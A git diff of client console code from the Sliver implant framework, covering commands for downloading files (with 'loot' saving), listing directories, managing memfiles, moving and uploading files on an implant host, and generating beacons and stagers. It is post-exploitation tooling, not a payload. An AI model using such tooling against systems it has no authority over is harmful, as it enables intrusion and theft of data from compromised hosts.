con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -76,60 +67,160 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintDownload(download, ctx, con)
|
||||
HandleDownloadResponse(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintDownload(download, ctx, con)
|
||||
HandleDownloadResponse(download, ctx, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// PrintDownload - Print the download response, and save file to disk
|
||||
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func prettifyDownloadName(path string) string {
|
||||
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
|
||||
if err != nil {
|
||||
// Well, we tried.
|
||||
return path
|
||||
}
|
||||
|
||||
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
|
||||
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
|
||||
|
||||
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
|
||||
|
||||
// Collapse multiple underscores into one
|
||||
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
|
||||
if err != nil {
|
||||
return filteredString
|
||||
}
|
||||
|
||||
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
|
||||
|
||||
// If there is an underscore at the front of the filename, strip that off
|
||||
if strings.HasPrefix(filteredString, "_") {
|
||||
filteredString = filteredString[1:]
|
||||
}
|
||||
|
||||
return filteredString
|
||||
}
|
||||
|
||||
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
|
||||
src := remotePath
|
||||
fileName := filepath.Base(src)
|
||||
dst, _ := filepath.Abs(localPath)
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
dstFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
|
||||
if download.ReadFiles == 0 {
|
||||
// No files downloaded successfully.
|
||||
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
|
||||
return
|
||||
}
|
||||
defer dstFile.Close()
|
||||
n, err := dstFile.Write(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write data %v\n", err)
|
||||
|
||||
if saveLoot {
|
||||
lootName := ctx.Flags.String("name")
|
||||
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Hand off to the loot package to take care of looting
|
||||
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
|
||||
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
|
||||
} else {
|
||||
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
|
||||
fileName := filepath.Base(remotePath)
|
||||
dst, err := filepath.Abs(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
if download.IsDir {
|
||||
// Come up with a good file name - filters might make the filename ugly
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
implantName := ""
|
||||
if session != nil {
|
||||
implantName = session.Name
|
||||
} else if beacon != nil {
|
||||
implantName = beacon.Name
|
||||
}
|
||||
|
||||
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
// Windows has a file path length of 260 characters
|
||||
// +1 for the path separator before the file name
|
||||
if len(dst)+len(fileName)+1 > 260 {
|
||||
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
|
||||
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
|
||||
}
|
||||
}
|
||||
dst = filepath.Join(dst, fileName)
|
||||
}
|
||||
|
||||
// Add an extension to a directory download if one is not provided.
|
||||
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
|
||||
dst += ".tar.gz"
|
||||
}
|
||||
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
dstFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
|
||||
return
|
||||
}
|
||||
defer dstFile.Close()
|
||||
n, err := dstFile.Write(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write data %v\n", err)
|
||||
} else {
|
||||
var readFilesText string
|
||||
var unreadFilesText string
|
||||
|
||||
if download.ReadFiles == 1 {
|
||||
readFilesText = "file"
|
||||
} else {
|
||||
readFilesText = "files"
|
||||
}
|
||||
|
||||
if download.UnreadableFiles == 1 {
|
||||
unreadFilesText = "file"
|
||||
} else {
|
||||
unreadFilesText = "files"
|
||||
}
|
||||
|
||||
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
|
||||
n,
|
||||
download.ReadFiles,
|
||||
readFilesText,
|
||||
download.UnreadableFiles,
|
||||
unreadFilesText,
|
||||
dstFile.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
@@ -45,49 +44,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("path")
|
||||
filter := ""
|
||||
|
||||
/*
|
||||
Check to see if the remote path is a filter or contains a filter.
|
||||
If the path passes the test to be a filter, then it is a filter
|
||||
because paths are not valid filters.
|
||||
*/
|
||||
if remotePath != "." {
|
||||
|
||||
// Check if the path contains a filter
|
||||
// Test on a standardized version of the path (change any \ to /)
|
||||
testPath := strings.Replace(remotePath, "\\", "/", -1)
|
||||
/*
|
||||
Cannot use the path or filepath libraries because the OS
|
||||
of the client does not necessarily match the OS of the
|
||||
implant
|
||||
*/
|
||||
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
|
||||
|
||||
if lastSeparatorOccurrence == -1 {
|
||||
// Then this is only a filter
|
||||
filter = remotePath
|
||||
remotePath = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
|
||||
// The indicies should be the same because we did not change the length of the string
|
||||
baseDir := remotePath[:lastSeparatorOccurrence+1]
|
||||
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
|
||||
|
||||
_, err := filepath.Match(potentialFilter, "")
|
||||
|
||||
if err == nil {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
} else {
|
||||
if !strings.HasSuffix(remotePath, "/") {
|
||||
remotePath = remotePath + "/"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -104,23 +60,38 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
})
|
||||
con.PrintAsyncResponse(ls.Response)
|
||||
} else {
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintLs - Display an sliverpb.Ls object
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
|
||||
if ls.Response != nil && ls.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", ls.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.Printf("%s\n", ls.Path)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
|
||||
// Generate metadata to print with the path
|
||||
numberOfFiles := len(ls.Files)
|
||||
var totalSize int64 = 0
|
||||
var pathInfo string
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
totalSize += fileInfo.Size
|
||||
}
|
||||
|
||||
if numberOfFiles == 1 {
|
||||
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
} else {
|
||||
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
}
|
||||
|
||||
con.Printf("%s\n", pathInfo)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
@@ -174,32 +145,26 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console
|
||||
}
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
if filter != "" {
|
||||
fileMatch, err := filepath.Match(filter, fileInfo.Name)
|
||||
|
||||
if err != nil {
|
||||
/*
|
||||
This should not happen because we checked the filter
|
||||
before reaching out to the implant.
|
||||
*/
|
||||
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
|
||||
break
|
||||
}
|
||||
|
||||
if !fileMatch {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
modTime := time.Unix(fileInfo.ModTime, 0)
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
owner := ""
|
||||
if fileInfo.Uid != "" {
|
||||
owner = fileInfo.Uid
|
||||
}
|
||||
if fileInfo.Gid != "" {
|
||||
owner = owner + ":" + fileInfo.Gid + "\t"
|
||||
}
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s\n", outputBuf.String())
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MemfilesAddCmd - Add memfile
|
||||
func MemfilesAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
memfilesAdd, err := con.Rpc.MemfilesAdd(context.Background(), &sliverpb.MemfilesAddReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if memfilesAdd.Response != nil && memfilesAdd.Response.Async {
|
||||
con.AddBeaconCallback(memfilesAdd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, memfilesAdd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAddMemfile(memfilesAdd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(memfilesAdd.Response)
|
||||
} else {
|
||||
PrintAddMemfile(memfilesAdd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAddMemfile - Print the memfiles response
|
||||
func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverConsoleClient) {
|
||||
if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", memfilesAdd.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("New memfile descriptor: %d\n", memfilesAdd.Fd)
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MemfilesListCmd - List memfiles
|
||||
func MemfilesListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
memfilesList, err := con.Rpc.MemfilesList(context.Background(), &sliverpb.MemfilesListReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if memfilesList.Response != nil && memfilesList.Response.Async {
|
||||
con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, memfilesList)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMemfiles(memfilesList, con)
|
||||
})
|
||||
con.PrintAsyncResponse(memfilesList.Response)
|
||||
} else {
|
||||
PrintMemfiles(memfilesList, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMemfiles - Display an sliverpb.Ls object
|
||||
func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
|
||||
if ls.Response != nil && ls.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", ls.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
// Generate metadata to print with the path
|
||||
numberOfFiles := len(ls.Files)
|
||||
var totalSize int64 = 0
|
||||
var pathInfo string
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
totalSize += fileInfo.Size
|
||||
}
|
||||
|
||||
if numberOfFiles == 1 {
|
||||
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
} else {
|
||||
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
}
|
||||
|
||||
con.Printf("%s\n", pathInfo)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
modTime := time.Unix(fileInfo.ModTime, 0)
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
owner := ""
|
||||
if fileInfo.Uid != "" {
|
||||
owner = fileInfo.Uid
|
||||
}
|
||||
if fileInfo.Gid != "" {
|
||||
owner = owner + ":" + fileInfo.Gid + "\t"
|
||||
}
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s\n", outputBuf.String())
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strconv"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MemfilesRmCmd - Remove a memfile
|
||||
func MemfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
fdArg := ctx.Args.String("fd")
|
||||
if fdArg == "" {
|
||||
con.PrintErrorf("Missing parameter: File Descriptor\n")
|
||||
return
|
||||
}
|
||||
|
||||
fdInt, err := strconv.ParseInt(fdArg, 0, 64)
|
||||
|
||||
memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Fd: fdInt,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if memfilesList.Response != nil && memfilesList.Response.Async {
|
||||
con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, memfilesList)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRmMemfile(memfilesList, con)
|
||||
})
|
||||
con.PrintAsyncResponse(memfilesList.Response)
|
||||
} else {
|
||||
PrintRmMemfile(memfilesList, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintRmMemfile - Remove a memfile
|
||||
func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverConsoleClient) {
|
||||
if memfilesList.Response != nil && memfilesList.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", memfilesList.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed memfile descriptor: %d\n", memfilesList.Fd)
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
src := ctx.Args.String("src")
|
||||
if src == "" {
|
||||
con.PrintErrorf("Missing parameter: src\n")
|
||||
return
|
||||
}
|
||||
|
||||
dst := ctx.Args.String("dst")
|
||||
if dst == "" {
|
||||
con.PrintErrorf("Missing parameter: dst\n")
|
||||
return
|
||||
}
|
||||
|
||||
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
mv.Src, mv.Dst = src, dst
|
||||
|
||||
if mv.Response != nil && mv.Response.Async {
|
||||
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(mv.Response)
|
||||
} else {
|
||||
PrintMv(mv, con)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// PrintMv - Print the renamed file
|
||||
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
|
||||
if mv.Response != nil && mv.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mv.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
|
||||
}
|
||||
@@ -64,6 +64,10 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dst := remotePath
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
|
||||
@@ -31,14 +31,28 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
} else {
|
||||
externalBuild(config, save, con)
|
||||
}
|
||||
}
|
||||
|
||||
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
|
||||
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
|
||||
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
|
||||
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
|
||||
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
|
||||
|
||||
/*
|
||||
If seconds has not been specified but any of the other time units have, then do not add
|
||||
the default 60 seconds to the interval.
|
||||
|
||||
If seconds have been specified, then add them regardless.
|
||||
*/
|
||||
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
|
||||
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
|
||||
}
|
||||
|
||||
if interval < minBeaconInterval {
|
||||
return ErrBeaconIntervalTooShort
|
||||
}
|
||||
|
||||
@@ -1,12 +1,28 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
@@ -53,12 +69,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
arch := ctx.Flags.String("arch")
|
||||
proto := ctx.Flags.String("protocol")
|
||||
format := ctx.Flags.String("format")
|
||||
badchars := ctx.Flags.String("badchars")
|
||||
badChars := ctx.Flags.String("badchars")
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
bChars := make([]string, 0)
|
||||
if len(badchars) > 0 {
|
||||
for _, b := range strings.Split(badchars, " ") {
|
||||
if len(badChars) > 0 {
|
||||
for _, b := range strings.Split(badChars, " ") {
|
||||
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
|
||||
}
|
||||
}
|
||||
@@ -90,21 +106,17 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err)
|
||||
return
|
||||
}
|
||||
|
||||
